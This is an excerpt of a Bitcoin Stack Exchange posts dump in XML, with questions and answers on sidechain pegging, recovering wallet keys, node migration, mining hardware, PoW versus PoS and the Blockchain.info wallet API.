  <row Id="43444" PostTypeId="2" ParentId="35789" CreationDate="2016-03-22T11:18:54.120" Score="0" Body="&lt;p&gt;did you fix it just become root in your terminal and do all the stuff it says. what do you do after pressing F5 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also &quot;apt-get install php5-gmp&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;add to  /etc/php5/apache2/php.ini &gt;&gt; extension=php_gmp.so&lt;/p&gt;&#xA;" OwnerUserId="34150" LastActivityDate="2016-03-22T11:18:54.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43445" PostTypeId="1" AcceptedAnswerId="77694" CreationDate="2016-03-22T14:52:21.570" Score="10" ViewCount="1053" Body="&lt;p&gt;I've seen &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38858/how-are-the-assets-locked-and-unlocked-trustlessly-using-sidechains&quot;&gt;similar questions&lt;/a&gt; posted all around, but haven't found an answer I can comprehend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so the process of 2 way pegging is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I move some coins to OP_SPVPROOFVERIFY on the parent blockchain.&lt;/li&gt;&#xA;&lt;li&gt;I wait for some time (e.g. 1 day)&lt;/li&gt;&#xA;&lt;li&gt;I get coins on the sidechain, transact.&lt;/li&gt;&#xA;&lt;li&gt;Now, I want to move some of those coins back to the parent/main blockchain.&lt;/li&gt;&#xA;&lt;li&gt;I send them to a special address on the sidechains, and they are now locked on that chain.&lt;/li&gt;&#xA;&lt;li&gt;... magic magic&lt;/li&gt;&#xA;&lt;li&gt;Now I can &quot;SPV prove&quot; that the coins are done with on the sidechain and are now free for transacting on the main chain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How does step 6 work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumptions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only a subset of the parent chain miners &amp;amp; spv &amp;amp; full nodes are aware this sidechain even exists&lt;/li&gt;&#xA;&lt;li&gt;The sidechain may use completely different proof of work, block format, address scheme (Or rather: what can a sidechain change compared to Bitcoin, and what is fixed?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Under these assumptions, how can a full node running the parent chain recognize that the coins really vanished from the sidechain (of which they are not explicitly aware)? Remember, the parent full node isn't aware of the type of proof of work (if any) that happens on the sidechain, address scheme, really it only knows and speaks the language of Bitcoin, not the sidechain. So how does step 6 work?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2018-07-28T13:57:39.550" Title="How would SPV proofs be verified when moving assets back in 2-way pegged sidechains?" Tags="|sidechains|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43448" PostTypeId="1" CreationDate="2016-03-22T16:42:05.790" Score="2" ViewCount="584" Body="&lt;p&gt;I sent a small amount of bitcoins to my bitcoin core account when I was messing around learning to use bitcoins several years ago. I am trying to access these coins but I never got along to utilizing bitcoin core. My computer is rather bad so it has never fully synced up to the most recent block and my computer likely lacks the space/processing power to do so. Is there a way I can access the public/private keys for that address through bitcoin core and then manage that wallet online? Would anyone be able to walk me thru getting the keys and setting up wallet online?&lt;/p&gt;&#xA;" OwnerUserId="34155" LastActivityDate="2016-05-22T03:48:51.770" Title="Bitcoins lost in Bitcoin Core?" Tags="|bitcoind|bitcoin-core|synchronization|wallet.dat|lost-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43449" PostTypeId="1" CreationDate="2016-03-22T17:26:10.120" Score="0" ViewCount="357" Body="&lt;p&gt;I am trying to import the balance from the older version to the newer one. I deleted the wallet.dat from the newer one and copied the older one into its place. However, the wallet will not start with the old wallet.dat. I get a small &quot;error&quot; msg box. When I click &quot;ok&quot; qt closes down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the two wallets incompatible? If so, is there another way to import my balance to the new wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="34156" LastActivityDate="2016-03-24T19:42:00.130" Title="How to copy wallet.dat from v0.10.2.0 to v0.11.0." Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43450" PostTypeId="2" ParentId="43448" CreationDate="2016-03-22T17:27:05.777" Score="1" Body="&lt;p&gt;In bicoin-qt open Help &gt; Debug Window &gt; Console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An type the following commands.&#xA;First you need to list all addresses with funds, look for every line that has an address and take note.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listuspent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, you unlock your wallet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;walletpassphrase &quot;YOUR-PASS-PHRASE&quot; 120&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for each address, you should get the private key&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dumpprivkey &quot;1BITCOINADDRESS&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;take note of every private key and  import them in another wallet. Take care when handling private keys and don't save them in clear text.&#xA;Instead of having an online wallet, what you can do is install Electrum which is a SPV wallet and import your private keys there.&lt;/p&gt;&#xA;" OwnerUserId="34132" LastEditorUserId="34132" LastEditDate="2016-03-23T03:16:28.273" LastActivityDate="2016-03-23T03:16:28.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43451" PostTypeId="1" AcceptedAnswerId="43456" CreationDate="2016-03-22T23:22:54.570" Score="0" ViewCount="311" Body="&lt;p&gt;I was looking at my new Butterfly Jalapeños while logging on to my Bitcoin Wallet (My new one as I still haven't found the old one.) and realized how inefficient the Butterfly Jalapeños were. So I started looking up Bitcoin miners. I came across the AntMiner S7 and thought it looked amazing, I also calculated that it would make over $4 USD every day for a total of over $100 every month. I did some more research and could find no problems with it. I was wondering if anyone knew of ANY problems of any kind with the AntMiner S7's. Thanks for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-GoldNugget8&lt;/p&gt;&#xA;" OwnerUserId="33984" LastActivityDate="2016-03-23T12:18:16.977" Title="Is an AntMiner S7 batch 14 good?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43453" PostTypeId="1" AcceptedAnswerId="43457" CreationDate="2016-03-23T00:11:01.150" Score="5" ViewCount="596" Body="&lt;p&gt;I would like to know what are the step to succefully migrate a pruned node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Raspnode (rPi2B+) and it is so slow that it doesnt seem to sync the blockchain after several days...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to sync the node that I have in my laptop and move it (pruned) to the Raspnode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have copy and paste all the files in the .bitcoin folder and when I execute the &lt;code&gt;bitcoind -daemon&lt;/code&gt; command the follow is in the debug.log file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016-03-22 23:25:55 Opening LevelDB in /home/pi/bitcoinData/blocks/index&#xA;2016-03-22 23:25:59 Opened LevelDB successfully&#xA;2016-03-22 23:25:59 Opening LevelDB in /home/pi/bitcoinData/chainstate&#xA;2016-03-22 23:25:59 Opened LevelDB successfully&#xA;2016-03-22 23:26:37 LoadBlockIndexDB: last block file = 474&#xA;2016-03-22 23:26:45 LoadBlockIndexDB: last block file info: CBlockFileInfo(blocks=57, size=47829393, heights=403730...403810, time=2016-03-22..$&#xA;2016-03-22 23:26:48 Checking all blk files are present...&#xA;2016-03-22 23:26:48 LoadBlockIndexDB(): Block files have previously been pruned&#xA;2016-03-22 23:26:48 LoadBlockIndexDB: transaction index disabled&#xA;2016-03-22 23:26:49 LoadBlockIndexDB: hashBestChain=000000000000000005323717f768df54444ee6dfccbe080548287f120546e6e3 height=403810 date=2016-03$&#xA;2016-03-22 23:26:49 init message: Verifying blocks...&#xA;2016-03-22 23:26:49 Verifying last 288 blocks at level 3&#xA;2016-03-22 23:26:51 LevelDB read failure: Corruption: not an sstable (bad magic number)&#xA;2016-03-22 23:27:14 Corruption: not an sstable (bad magic number)&#xA;2016-03-22 23:27:14 : Error opening block database.&#xA;&#xA;Do you want to rebuild the block database now?&#xA;2016-03-22 23:27:14 Aborted block database rebuild. Exiting.&#xA;2016-03-22 23:27:14 Shutdown: In progress...&#xA;2016-03-22 23:27:14 scheduler thread interrupt&#xA;2016-03-22 23:27:14 StopNode()&#xA;2016-03-22 23:27:14 Shutdown: done&#xA;2016-03-22 23:39:01 AppInit2 : parameter interaction: -prune -&amp;gt; setting -disablewallet=1&#xA;2016-03-22 23:39:05 Prune configured to target 30000MiB on disk for block and undo files.&#xA;2016-03-22 23:39:08&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is to sync the node in my laptop and then maintain the syncing (and pruning) on the rapsberry pi because I cant run the node all the time in my laptop.&lt;/p&gt;&#xA;" OwnerUserId="33695" LastEditorUserId="33695" LastEditDate="2016-03-24T12:37:29.633" LastActivityDate="2016-03-24T16:42:55.393" Title="Efficient way to migrate a pruned node" Tags="|synchronization|nodes|raspberry-pi|pruning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43456" PostTypeId="2" ParentId="43451" CreationDate="2016-03-23T03:26:50.630" Score="0" Body="&lt;p&gt;The most obvious problem, it appears to me, is that they cost $1200. If you make $4 per day (assuming that's net profit after paying for electricity), it'll take about a year to pay for itself. That's assuming the mining difficulty stays the same for a year, which it almost certainly will not; in the last 12 months (March 2015 to March 2016), difficulty has more than tripled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless the value of Bitcoin rises substantially (faster than difficulty), I'd be skeptical of coming out ahead.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-03-23T03:26:50.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43457" PostTypeId="2" ParentId="43453" CreationDate="2016-03-23T07:55:30.160" Score="4" Body="&lt;p&gt;Copying .bitcoin folder should work. Make sure bitcoind is not running (try ps -ef | grep bitcoin)  before you attempt to copy. Also make sure bitcoin.conf is same in both places&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, change the bitcoin.conf file with the new &lt;strong&gt;datadir&lt;/strong&gt; , &lt;strong&gt;rpcuser&lt;/strong&gt; and &lt;strong&gt;rpcpassword&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastEditorUserId="33695" LastEditDate="2016-03-24T16:42:55.393" LastActivityDate="2016-03-24T16:42:55.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43460" PostTypeId="2" ParentId="41093" CreationDate="2016-03-23T12:29:02.867" Score="2" Body="&lt;p&gt;Yes, there is a paper about: &quot;Designing Proof of Human-work Puzzles for Cryptocurrency&#xA;and Beyond&quot;&#xA;&lt;a href=&quot;https://eprint.iacr.org/2016/145.pdf&quot; rel=&quot;nofollow&quot;&gt;https://eprint.iacr.org/2016/145.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34187" LastActivityDate="2016-03-23T12:29:02.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43461" PostTypeId="1" CreationDate="2016-03-23T15:25:39.833" Score="0" ViewCount="201" Body="&lt;p&gt;What are the privacy techniques that used with Litecoin? and what are the differences between Bitcoin and Litecoin in privacy techniques? &lt;/p&gt;&#xA;" OwnerUserId="33746" LastActivityDate="2016-04-22T18:28:00.633" Title="Litecoin privacy techniques" Tags="|litecoin|privacy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43462" PostTypeId="2" ParentId="43428" CreationDate="2016-03-23T16:11:42.420" Score="1" Body="&lt;p&gt;The following python code should work. Transform the private key to HEX, and use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import binascii, hashlib&#xA;def privateKey_to_WIF(pk): #wallet import format ==&amp;gt; pra importar nas carteiras&#xA;&#xA;    privWIF1 = hashlib.sha256(binascii.unhexlify('80'+pk)).hexdigest()&#xA;    privWIF2 = hashlib.sha256(binascii.unhexlify(privWIF1)).hexdigest()&#xA;    privWIF3 = '80'+pk+privWIF2[:8]&#xA;&#xA;    pubnum = int(privWIF3,16)&#xA;    pubnumlist = []&#xA;    while pubnum!=0: pubnumlist.append(pubnum%58); pubnum/=58&#xA;    WIF = ''&#xA;    for l in ['123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'[x] for x in pubnumlist]:&#xA;        WIF=l+WIF&#xA;    #print WIF&#xA;    return WIF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return the Wallet Import Format which can be used in another client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private key WIF: 5KNjwhPMnXbFS7bVeHEzpE4He6jkQeRF9wtBtr1p1anH25rDnys&lt;/p&gt;&#xA;" OwnerUserId="21790" LastEditorUserId="21790" LastEditDate="2016-03-23T16:19:34.203" LastActivityDate="2016-03-23T16:19:34.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43463" PostTypeId="2" ParentId="43461" CreationDate="2016-03-23T17:35:15.953" Score="1" Body="&lt;p&gt;There is no substantial technical difference between Litecoin and Bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin does not offer any additional &quot;privacy techniques&quot;. The only differences are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;address scheme: Litecoin addresses start with an L, Bitcoin standard addresses start wtih a 1.&lt;/li&gt;&#xA;&lt;li&gt;Volume: Bitcoin volume is much higher, so it might be easier to obscure a payment among the other transactions.&lt;/li&gt;&#xA;&lt;li&gt;Attention: Bitcoin might have more attention of law enforcement.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: The last two points are based on speculation.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-03-23T17:35:15.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43464" PostTypeId="2" ParentId="5155" CreationDate="2016-03-24T00:02:10.200" Score="1" Body="&lt;p&gt;The tool is called Blockviewer.  The website, blockviewer.com, no longer exists.  However, the source code is available on Github: &lt;a href=&quot;https://github.com/thallium205/BitcoinVisualizer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/thallium205/BitcoinVisualizer&lt;/a&gt;.  Thus, you might be able to download the source code, compile it, and run it on your own machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also read &lt;a href=&quot;https://web.archive.org/web/20141225133954/http://toolongdidntread.com/bitcoin/the-bitcoin-social-network-part-1/&quot; rel=&quot;nofollow&quot;&gt;the original blog post&lt;/a&gt; introducing some of the ideas behind it.&lt;/p&gt;&#xA;" OwnerUserId="14915" LastActivityDate="2016-03-24T00:02:10.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43465" PostTypeId="2" ParentId="17920" CreationDate="2016-03-24T00:06:54.097" Score="1" Body="&lt;p&gt;It might be useful to note that Blockchain.info has a list of &quot;Address tags&quot;: public bitcoin addresses that have an annotation indicating something about the identity of the owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an opt-in database of public addresses where the owner has chosen to submit the public address and a corresponding &quot;tag&quot; (human-meaningful name) to Blockchain.info.  See &lt;a href=&quot;https://blockchain.info/tags&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tags&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is much narrower than what you are looking for, but might be useful for some purposes.&lt;/p&gt;&#xA;" OwnerUserId="14915" LastActivityDate="2016-03-24T00:06:54.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43466" PostTypeId="1" CreationDate="2016-03-24T00:10:32.363" Score="3" ViewCount="235" Body="&lt;p&gt;Given a handful of transactions from a single individual, are there any techniques to try to infer/deduce what client the individual was using?  In other words, do any commonly used clients leave a &quot;fingerprint&quot; that can be used to recognize which client was used, based on the information in the public blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, maybe some clients have a recognizable pattern of how they make change, or &lt;a href=&quot;http://www.quantabytes.com/articles/a-survey-of-bitcoin-transaction-types&quot; rel=&quot;nofollow&quot;&gt;which script code they use for transactions&lt;/a&gt;, or have &lt;a href=&quot;https://github.com/OpenBitcoinPrivacyProject/wallet-ratings/blob/master/report-02/threat%20model.wiki&quot; rel=&quot;nofollow&quot;&gt;some pattern regarding which of the addresses in the output list are for change&lt;/a&gt;, or have some pattern in the transaction amounts or the random numbers used in the transaction?  I'm just brainstorming examples -- don't take these too seriously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, are there any fingerprints that are left in the blockchain that might reveal which client I'm using?  Even probabilistic attacks (&quot;there's an 80% chance you're using client C&quot;) are relevant.&lt;/p&gt;&#xA;" OwnerUserId="14915" LastActivityDate="2019-05-17T05:39:09.967" Title="Fingerprinting Bitcoin client, from public information" Tags="|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43467" PostTypeId="1" AcceptedAnswerId="43474" CreationDate="2016-03-24T00:46:02.627" Score="10" ViewCount="23405" Body="&lt;p&gt;I'm looking for an explanation of the difference between Proof of Work algorithm and the Proof of Stake and how they relate to Bitcoin and the Blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also looking for a fairly simple, non-technical answer. You can get a little technical but I'm not a dev and have no clue how to code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peace and Love,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Krypto Kid&lt;/p&gt;&#xA;" OwnerUserId="34134" LastActivityDate="2019-01-12T07:07:59.330" Title="What's the difference between PoW and PoS?" Tags="|proof-of-work|proof-of-stake|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43468" PostTypeId="2" ParentId="37055" CreationDate="2016-03-24T01:00:21.157" Score="1" Body="&lt;p&gt;Use multisig wallets for funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a SP (Service Provider) as a separate entity to handle your smart contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Bitcoin and the Blockchain to act.&lt;/p&gt;&#xA;" OwnerUserId="34134" LastActivityDate="2016-03-24T01:00:21.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43469" PostTypeId="1" AcceptedAnswerId="43475" CreationDate="2016-03-24T01:37:35.200" Score="0" ViewCount="1455" Body="&lt;p&gt;I'm currently using v2 of Blockchain.info's API and am wanting to utilise &quot;Send Many Transaction&quot; and am having some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1 wallet with many addresses, I am trying to send 2 transactions within 1 payment, their API documentation is still from v1 and is missing the '&amp;amp;from' from their api example, and have spent more time than I'd like to admit to get this working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is from there website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost:3000/merchant/$guid/sendmany?password=$main_password&amp;amp;second_password=$second_password&amp;amp;recipients=$recipients&amp;amp;fee=$fee&#xA;&#xA;$main_password Your Main Blockchain wallet password&#xA;$second_password Your second Blockchain Wallet password if double encryption  is enabled.&#xA;$recipients Is a JSON Object using Bitcoin Addresses as keys and the amounts to send as values (See below).&#xA;$from Send from a specific Bitcoin Address (Optional)&#xA;$fee Transaction fee value in satoshi (Must be greater than default fee) (Optional)&#xA;$note A public note to include with the transaction -- can only be attached to transactions where all outputs are greater than 0.005 BTC.(Optional)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result I get is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;failed to open stream:HTTP request failed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error:Maximum execution time of 120 seconds exceeded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now the url is wrong but can anyone please help advise me what it is specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this is what I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sending addresses &#xA;$Address1 = 'Address1';&#xA;$Address2 = 'Address2';&#xA;&#xA;//Amount coming from&#xA;$From = 'Address3';&#xA;&#xA;//Amounts being sent in satoshi&#xA;$Amount1 = 100000;  // 0.001 of a btc&#xA;$Amount2 = 100000;  &#xA;&#xA;$recipients = urlencode(' {&#xA;    &quot;'.$Address1.'&quot;: '.$Amount1.',  &#xA;    &quot;'.$Address2.'&quot;: '.$Amount2.'&#xA;}');&#xA;&#xA;$Guid = 'MY_GUID';      &#xA;$Password = 'MY_PASSWORD';                              &#xA;&#xA;$url = 'http://localhost:3000/merchant/'.$Guid.'/sendmany?password='.$Password.'&amp;amp;from='.$From.'&amp;amp;recipients='.$recipients.''; &#xA;// I've also tried to remove $data and put '&amp;amp;api_code=MY_API_CODE' after&#xA;// $recipients as this also works for other api calls for v2&#xA;&#xA;$data = array('api_code' =&amp;gt; 'MY_API_CODE');&#xA;&#xA;$result = sendAmounts($url, $data);&#xA;&#xA;function sendAmounts($url, $data) { &#xA;$options = array(&#xA;    'http' =&amp;gt; array(&#xA;        'header'  =&amp;gt; &quot;Content-type: application/x-www-form-urlencoded\r\n&quot;,&#xA;        'method'  =&amp;gt; 'POST',  // Also tried GET&#xA;        'content' =&amp;gt; http_build_query($data),&#xA;    ),&#xA;);&#xA;$context  = stream_context_create($options);&#xA;$result = file_get_contents($url, false, $context);&#xA;&#xA;return $result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="34208" LastActivityDate="2017-12-16T00:19:40.703" Title="Blockchain.info send may transactions API v2" Tags="|transactions|blockchain|api|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43471" PostTypeId="1" AcceptedAnswerId="43476" CreationDate="2016-03-24T05:35:42.777" Score="0" ViewCount="1045" Body="&lt;p&gt;What is the safest way to exchange bitcoin for cash in person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously meet somewhere public but other then that how should an exchange proceed? What steps should be taken to ensure both parties are protected and everything goes smooth.&lt;/p&gt;&#xA;" OwnerUserId="34213" LastActivityDate="2017-06-06T16:10:41.380" Title="Safely buying bitcoins in person" Tags="|transactions|buy-bitcoins|sell-bitcoins|cash|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43472" PostTypeId="2" ParentId="17920" CreationDate="2016-03-24T08:41:40.933" Score="2" Body="&lt;p&gt;This is ongoing area of research and there are a number of companies working on this. You can find a list &lt;a href=&quot;http://www.block-chain-analysis.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The problem with this is that people can mix coins and it becomes difficult to accurately ascertain identity. Two simple tools which you can try out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.walletexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;Wallet explorer&lt;/a&gt; : Will try to group addresses and find labels&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockseer.com/&quot; rel=&quot;nofollow&quot;&gt;BlockSeer&lt;/a&gt;: You can track transactions , find clutsers and follow them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-03-24T08:41:40.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43473" PostTypeId="2" ParentId="43471" CreationDate="2016-03-24T09:35:59.970" Score="0" Body="&lt;p&gt;My answer to your question, would be to insure you there is a way, how easy? that all depends on you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)are you the sender or receiver&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)yes you can meet in person but no you dont have to there is a way to wire money with a hold unless other wise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)it is always safer to do a transaction for BTC to USD or any other currency with a friend family-member or someone you truly feel you can trust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;W/U-has a security password an there for you would NOT use the receivers ID&#xA;if yall are wanting to go grab a bite to eat an discuss thing I suggest the two party's meet at Star Bucks McDonald or somewhere with Wi-Fi an transaction would take place then an there remember 1BTC=414.59USD&lt;/p&gt;&#xA;" OwnerUserId="34176" LastActivityDate="2016-03-24T09:35:59.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43474" PostTypeId="2" ParentId="43467" CreationDate="2016-03-24T12:36:10.003" Score="8" Body="&lt;p&gt;The following points try to simplify/abstract:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A cryptocurrency has its own blockchain to store all the transactions that occurred.&lt;/li&gt;&#xA;&lt;li&gt;A proof of work/stake algorithm are different methods (or algorithms) to achieve consensus on which block will be added next to the blockchain&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_work&quot; rel=&quot;noreferrer&quot;&gt;Proof of work&lt;/a&gt; (PoW) requires proof that work of some kind occurred. In the case of Bitcoin miners are required to do this work before any of their blocks is accepted by others.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;noreferrer&quot;&gt;Proof of stake&lt;/a&gt; (PoS) requires users that have a high stake at the currency (i.e. hold a lot of coins) to determine the next block. This has a high risk of some party achieving monopoly of the currency but there are several methods to prevent that (by allocating random stakeholders to agree on a new block, and others).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main difference could be summarized in that proof of work requires burning an external resource (mining hardware) while proof of stake does not. Proof of work could be criticized that if price/bitcoin rewards/fees drop then less people have incentives to mine thus the security of the system is reduced. Proof of stake could be criticized that since it is &lt;em&gt;free&lt;/em&gt; to stake/add new blocks to the blockchain you could use it to stake several similar coins at the same time (see &quot;nothing at stake&quot; problem in PoS link above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin, Litecoin and many others uses the PoW method.&lt;/li&gt;&#xA;&lt;li&gt;NXT, BitShares and others uses the PoS method.&lt;/li&gt;&#xA;&lt;li&gt;Ethereum uses PoW but is scheduled to change to PoS.&lt;/li&gt;&#xA;&lt;li&gt;Peercoin uses a combination of PoW and PoS.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-05-15T12:12:21.813" LastActivityDate="2016-05-15T12:12:21.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43475" PostTypeId="2" ParentId="43469" CreationDate="2016-03-24T12:48:05.690" Score="0" Body="&lt;p&gt;As of January 2016 Blockchain.info made changes to the wallet API service that now requires you to run a local nodeJS service to handle the calls. This will require you to have root access to your webserver so you will need to use a VPS instead of a basic shared web host. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I don't recommend hand-coding the JSON yourself when using sendmany. Instead create an array and then use the json_encode function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array(&#xA;    &quot;1someAddress&quot; =&amp;gt; 20000,&#xA;    &quot;1someAddress2&quot; =&amp;gt; 150000,&#xA;    &quot;1someAddress3&quot; =&amp;gt; 314159&#xA;); &#xA;$addresses = json_encode($array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're not the only one that has hard time with the new version of their API. If you still need some help check out these resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=X8jsaf4sEgs&quot; rel=&quot;nofollow&quot; title=&quot;Video Tutorial: How to Setup Blockchains New Wallet API Service&quot;&gt;https://www.youtube.com/watch?v=X8jsaf4sEgs&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://btcthreads.com/how-to-setup-blockchain-wallet-service/&quot; rel=&quot;nofollow&quot;&gt;http://btcthreads.com/how-to-setup-blockchain-wallet-service/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started a PHP library for communicating with the nodeJS service, (still needs work, some functions are missing) &lt;a href=&quot;https://github.com/coinables/blockchain-wallet-APIv2-PHP-Library&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinables/blockchain-wallet-APIv2-PHP-Library&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-03-24T12:48:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
